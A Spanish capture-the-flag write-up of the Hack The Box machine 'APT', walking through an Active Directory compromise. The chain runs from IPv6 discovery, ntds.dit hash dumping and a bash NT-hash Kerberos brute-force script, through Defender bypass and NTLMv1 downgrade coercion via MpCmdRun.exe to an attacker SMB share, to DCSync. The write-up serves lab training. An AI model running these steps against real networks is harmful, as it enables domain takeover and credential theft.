HTB-APT
IP -> 10.10.10.213
Reconociemto
Nmap
Utilizamos nmap y obtenemos los siguientes resultados.
http
whatweb
Utilizamos la herramienta whatweb para enumerar información del servicio http. Y obtenemos los siguientes resultados.
IIS 10.0
Abrimos la página en firefox. En la parte inferior encontramos que esta diseñada por w3layout, pero al buscarlo en searchsploit no encontramos nada.
rpc
Aporvechamos el servicio rpc para enumerar usuarios del sistema. Pero no nos consigue conectar.
Nmap
Como no encontramos nada, vamos a buscar por UDP con nmap. Y obtenemos los siguientes resultados.
snmp
Como no sale ningún puerto abierto vamos a suponer que el servicio snmp está abierto pero tampoco funciona.
tftp
Probamos a ver si el servicio tftp está operativo pero tampoco funciona.
rpc
Volvemos al servicio rpc, buscamos opciones para explotarlo en Hacktricks. Vemos que es posible obtener la dirección ipv6. Obtenemos una dirección ipv6. La añadimos al /etc/hosts
IPv6
Nmap
Volvemos a escanear la máquina pero esta vez por ipv6.
Crackmapexec
Nota: La version de Crackmapexec 5.1.1dev, no admite ipv6, hay que descargarse la ultima version.
Usamos Crackmapexec para enumerar información del Active Directory y añadimos el dominio al /etc/hosts
OS: Windows Server 2016 Dominio: htb.local Signing: True SMBv1: True
smbclient
Listamos servicios mediante un [null session](/SMB/
backup/ backup.zip
Dentro del archivo zip encontramos un ntds.dit y SYSTEM. Con secretsdump.py obtenemos las credenciales. Aunque el archivo nos pide contraseña, extraemos el hash, lo rompemos. Y pa’ dentro.
Como nos extrae muchos hashes, los exportamos a un archivo para tratarlos.
hashes
Extraemos un listado de usuarios.
users
kerbrute
Validamos los usuarios en kerbrute.
users
Hash BruteForce
pyKerbrute
Hacemos un ataque de fuerza bruta por Kerberos, pero con un listado de hashes NT. Para esto utilizamos pyKerbrute.
krbBruteforcer.sh
O podemos crearnos nuestro propio script en bash jugando con la utilidad de impacket getTGT.py
#!/bin/bash
# getTGT.py -hashes 23098hr02hf902309dbn9832:23098hr02hf902309dbn9832 htb.local/henry.vinson
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
exit 1
}
for nt in $(cat nthashes); do
output=$(getTGT.py -hashes $nt$:$nt htb.local/henry.vinson)
if [ ! "$(echo $output | grep 'KDC_ERR_PREAUTH_FAILED')" ]; then
echo -e "\n[+] Success: henry.vinson -> $nt\n"
exit 0
fi
done
# Ctrl+C
trap ctrl_c INT
User+Hash
GetUserSPN.py
Probamos un Kerberoasting Attack con la credenciales obtenidas. Pero no encontramos nada
GetNPUsers.py
Probamos un ASREPRoast con la herramienta [GetNPUsers.py]((/ASREPRoast/)
reg.py
Utilizamos la herramienta reg.py para dumpear registros del sistema.
HKU
HKU\Software HKU\Software\GiganticHostingManagementSystem
User+Pass
Crackmapexec
Validamos la credencial por SMB con Crackmapexec.
winrm
Como por Crackmapexec no funciona el validar por winrm. Probamos directamente con [evil-winrm]((/winrm/)
Explotación
Evil-winrm
Nos conectamos con la herramienta [evil-winrm]((/winrm/)
user.txt
User Pivoting
OS
whoami /priv
whoami /all
Vamos a utilizar la herramienta Seatbelt.exe que es simialar a winpeas.
Seatbelt.exe
El windows defender nos bloquea, lo burlamos con [evil-winrm]((/winrm/) Ahora podemos cargar el binario desde nuestra maquina de atacante con Invoke-Binary.
Invoke-Binary Seatbelt.exe -group=all
Vemos que los clientes soportan NTLMv1.
crack.sh
Podemos realizar un ataque de tipo downgrade. Con el responder. Utilizando la página crack.sh. Para ello modificamos el challange del responder como nos aparece en la página.
Nos aprovechamos de una utilidad de windows defender para analizar archivos remotos.
responder -I tun0 --lm
C:\Program Files\Windows Defender\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.10\archivo
Obtenemos el hash del APT$
Para adecuarlo al formato que requiere la página utilizmos la herramienta ntlmv1-multi
python ntlmv1.py --ntlmv1 '<hash>'
To Crack with crack.sh…
NTHASH: d167c3238864b12f5f82feae86a7f798
Prilege Escalation
Con el usuario APT$ podemos hacer un DCSync attack con secretsdump.py.
Explotación
Evil-winrm
Nos conectamos con la herramienta [evil-winrm]((/winrm/)
root.txt